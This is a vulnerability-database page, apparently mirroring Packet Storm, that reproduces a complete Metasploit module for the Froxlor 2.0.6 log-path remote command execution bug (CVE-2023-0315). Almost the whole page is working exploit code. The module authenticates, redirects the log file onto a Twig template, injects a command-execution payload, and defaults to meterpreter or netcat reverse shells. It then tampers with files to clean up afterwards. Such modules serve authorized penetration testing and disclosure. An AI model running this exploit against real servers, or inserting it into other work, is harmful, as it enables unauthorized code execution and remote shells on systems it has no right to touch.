Lucene search
K

Froxlor 2.0.6 Remote Command Execution

🗓️ 23 Feb 2023 00:00:00Reported by Askar, jheysel-r7, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 321 Views

Froxlor 2.0.6 Log Path RCE vulnerability allows remote command execution by changing application logs path and rendering a malicious Twig template under the user www-data.

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Froxlor Log Path RCE',  
'Description' => %q{  
Froxlor v2.0.6 and below suffer from a bug that allows authenticated users to change the application logs path  
to any directory on the OS level which the user www-data can write without restrictions from the backend which  
leads to writing a malicious Twig template that the application will render. That will lead to achieving a  
remote command execution under the user www-data.  
},  
'Author' => [  
'Askar', # discovery  
'jheysel-r7' # module  
],  
'References' => [  
[ 'URL', 'https://shells.systems/author/askar/'],  
[ 'CVE', '2023-0315']  
],  
'License' => MSF_LICENSE,  
'Platform' => 'linux',  
'Privileged' => false,  
'Arch' => [ ARCH_CMD ],  
'Targets' => [  
[  
'Linux ',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'CmdStagerFlavor' => ['wget'],  
'Type' => :linux_dropper,  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }  
}  
],  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_memory,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
},  
'DisclosureDate' => '2023-01-29'  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']),  
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', '']),  
OptString.new('TARGETURI', [true, 'The base path to the vulnerable Froxlor instance', '/froxlor']),  
OptString.new('WEB_ROOT', [true, 'The webroot ', '/var/www/html'])  
]  
)  
end  
  
def login  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/index.php'),  
'keep_cookies' => true,  
'vars_post' => {  
'loginname' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'send' => 'send',  
'dologin' => ''  
}  
)  
  
if res && (res.code == 302 && res.headers.include?('Location') && res.headers['Location'] == 'admin_index.php')  
send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/admin_index.php'),  
'keep_cookies' => true  
)  
print_good('Successful login')  
true  
else  
false  
end  
end  
  
def check  
begin  
@authenticated = login  
rescue InvalidRequest, InvalidResponse => e  
return Exploit::CheckCode::Unknown("Failed to authenticate to Froxlor: #{e.class}, #{e}")  
end  
  
version_url = '/lib/ajax.php?action=updatecheck&theme=Froxlor'  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, version_url),  
'keep_cookies' => true  
)  
  
if res.nil? || res.code != 200  
Exploit::CheckCode::Unknown("Failed to retrieve version info from #{normalize_uri(target_uri.path, version_url)}")  
else  
version = res.get_html_document.at('body/span/text()')  
if version  
if Rex::Version.new('2.0.6') >= Rex::Version.new(version)  
Exploit::CheckCode::Appears("Vulnerable version found: #{version}")  
end  
else  
Exploit::CheckCode::Detected("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}")  
end  
end  
end  
  
def get_csrf_token(url)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, url),  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, "Failed to get csrf token from #{normalize_uri(target_uri.path, url)}") unless (!res.nil? || res.code == 200)  
csrf_token = res.get_html_document.at('//input[@name="csrf_token"]/@value')&.text  
fail_with(Failure::UnexpectedReply, "No CSRF token found when querying #{normalize_uri(target_uri.path, url)}.") unless csrf_token  
print_good("CSRF token is : #{csrf_token}")  
csrf_token  
end  
  
def change_log_path(new_logfile)  
mime = Rex::MIME::Message.new  
mime.add_part('0', nil, nil, 'form-data; name="logger_enabled"')  
mime.add_part('1', nil, nil, 'form-data; name="logger_enabled"')  
mime.add_part('2', nil, nil, 'form-data; name="logger_severity"')  
mime.add_part('file', nil, nil, 'form-data; name="logger_logtypes[]"')  
mime.add_part(new_logfile, nil, nil, 'form-data; name="logger_logfile"')  
mime.add_part('0', nil, nil, 'form-data; name="logger_log_cron"')  
mime.add_part(@csrf_token, nil, nil, 'form-data; name="csrf_token"')  
mime.add_part('overview', nil, nil, 'form-data; name="page"')  
mime.add_part('', nil, nil, 'form-data; name="action"')  
mime.add_part('send', nil, nil, 'form-data; name="send"')  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/admin_settings.php?'),  
'vars_get' => { 'page' => 'overview', 'part' => 'logging' },  
'keep_cookies' => true,  
'ctype' => "multipart/form-data; boundary=#{mime.bound}",  
'data' => mime.to_s  
)  
  
if res && res.code == 200 && res.body.include?('The settings have been successfully saved')  
return true  
end  
  
false  
end  
  
def execute_command(cmd, _opts = {})  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/admin_index.php'),  
'keep_cookies' => true,  
'vars_post' => {  
'theme' => "{{['#{cmd}']|filter('exec')}}",  
'csrf_token' => @csrf_token,  
'page' => 'change_theme',  
'send' => 'send',  
'dosave' => ''  
}  
)  
  
if res && res.code == 302 && res.headers['Location']  
if res.headers['Location'] == 'admin_index.php'  
print_good('Injected payload successfully')  
print_status("Changing log path back to default value while triggering payload: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")  
change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")  
end  
else  
print_error('did not inject payload successfully')  
end  
end  
  
def exploit  
fail_with(Failure::NoAccess, 'Failed to login') unless @authenticated || login  
@csrf_token = get_csrf_token('/admin_settings.php?page=overview&part=logging')  
  
if change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")  
print_good("Changed logfile path to: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")  
case target['Type']  
when :unix_memory  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
else  
print_error('Please enter valid target')  
end  
else  
fail_with(Failure::UnexpectedReply, 'Failed to change the log path. The target might not be exploitable')  
end  
end  
  
def on_new_session(session)  
super  
# Original footer.html.twig file  
footer_html_twig = <<~EOF  
<footer class="text-center mb-3">  
<span>  
<img src="{{ basehref|default("") }}templates/Froxlor/assets/img/logo_grey.png" alt="Froxlor"/>  
{% if install_mode is not defined %}  
{% if (get_setting('admin.show_version_login') == '1'  
and area == 'login') or (area != 'login'  
and get_setting('admin.show_version_footer') == '1') %}  
{{ call_static('\\Froxlor\\Froxlor', 'getFullVersion') }}  
{% endif %}  
{% endif %}  
&copy; 2009-{{ "now"|date("Y") }} by <a href="https://www.froxlor.org/" rel="external" target="_blank">the Froxlor Team</a><br>  
{% if install_mode is not defined %}  
{% if (get_setting('panel.imprint_url') != '') %}<a href="{{ get_setting('panel.imprint_url') }}" target="_blank" class="footer-link">{{ lng('imprint') }}</a>{% endif %}  
{% if (get_setting('panel.terms_url') != '') %}<a href="{{ get_setting('panel.terms_url') }}" target="_blank" class="footer-link">{{ lng('terms') }}</a>{% endif %}  
{% if (get_setting('panel.privacy_url') != '') %}<a href="{{ get_setting('panel.privacy_url') }}" target="_blank" class="footer-link">{{ lng('privacy') }}</a>{% endif %}  
{% endif %}  
</span>  
  
{% if lng('translator') %}  
<br/>  
<small class="mt-3">{{ lng('panel.translator') }}: {{ lng('translator') }}</small>  
{% endif %}  
</footer>  
EOF  
if session.type == 'meterpreter'  
print_status('Deleting tampered footer.html.twig file')  
filename = "#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig"  
session.fs.file.rm(filename)  
fd = session.fs.file.new(filename, 'wb')  
print_status('Rewriting clean footer.html.twig file')  
fd.write(footer_html_twig)  
fd.close  
else  
print_status('Cleaning tampered footer.html.twig file')  
# Remove all log lines added to footer.html.twig by the exploit  
# (all log lines start with an opening square bracket ex: [2023-02-16 09:08:28] froxlor.INFO: [API] ...)  
session.shell_command_token("sed '/^\\[/d' #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig > #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")  
session.shell_command_token("mv -f #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")  
session.shell_command_token("rm #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Feb 2023 00:00Current
0.2Low risk
Vulners AI Score0.2
CVSS 3.18.8
CVSS 37.2
EPSS0.89127
SSVC
321